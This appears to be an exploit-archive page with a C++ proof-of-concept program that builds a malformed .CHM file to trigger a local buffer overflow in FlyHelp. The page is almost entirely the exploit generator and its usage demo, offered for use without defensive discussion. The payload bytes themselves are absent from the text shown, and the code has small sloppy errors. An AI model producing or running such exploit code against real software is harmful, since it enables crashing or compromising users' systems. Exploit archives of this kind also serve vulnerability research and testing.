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FlyHelp (.CHM File) Local Buffer Overflow PoC

Author

fl0 fl0w

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-6934

Category

dos / poc

Date add

20-07-2009

Platform

unsorted

=============================================
FlyHelp (.CHM File) Local Buffer Overflow PoC
=============================================


/*
<<Name >>flyhelp.cpp
FlyHelp .CHM File Buffer Overflo POC
<<Credits >>fl0 fl0w
*/

/*
<<DEMO >>
C:\Documents and Settings\Stefan\Desktop\New Folder1>flyhelp.exe

C:\Documents and Settings\Stefan\Desktop\New Folder1>flyhelp.exe -file test

***************************************************************************
FlyHelp .CHM File Buffer Overflo POC
        Usage is flyhelp.exe -file filename
Credits fl0 fl0w
***************************************************************************
File build !

*/
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include <windows.h>

#define     SIZE 100000

 char rawData[1471] =
{
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} ;

class EXPLOIT {
	public:
	
int check (char *, char *);
void Usage (char *);
 };
 
static int  Poz = 1;
static int  Neg = 0;
  
int i;      

char Name [SIZE];    
char NeWbuff [SIZE];
                                            

                                                  int main (int argc, char *argv [])                                                                                           

 { 
         
        EXPLOIT VIDEO;
         VIDEO.Usage(argv [0]); 
         if(argc < 2) {
            VIDEO.Usage(argv [0]);      
            exit(0);     
            } 
          if(VIDEO.check(argv [1], "-file") == Neg) { 
             fprintf(stdout , " Incorect input "); 
             printf(" \t..Usage is %s -file filename.. \n", Name);
             exit(0);
             }
        FILE *f;
        strcpy(Name, argv [2]);
        strcat(Name, " .chm ");
        f = fopen (Name, "w");
        assert( f != NULL);
        strncpy(NeWbuff  , rawData , sizeof(rawData)); 
        fputs("FILE \"", f);
        fprintf( f, " %s ", NeWbuff);
        fprintf( stdout , "File build ! ");
        exit(0);  
       getchar();
return 0;        
                                                  }
     int EXPLOIT::check(char *Arg_, char *_Arg)
   {
       if(strcmp(Arg_, _Arg) == 0)
        return Poz;
      return Neg;
        }   
    void EXPLOIT::Usage(char *Name)
   {
     system("cls");    
     printf("***************************************************************************\n");
     printf("FlyHelp .CHM File Buffer Overflo POC\n");
     printf(" \tUsage is %s -file filename\n", Name);    
     fprintf(stdout , "Credits fl0 fl0w\n");
      printf("***************************************************************************\n");
         }   




#  0day.today [2024-12-25]  #

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FlyHelp (.CHM File) Local Buffer Overflow PoC

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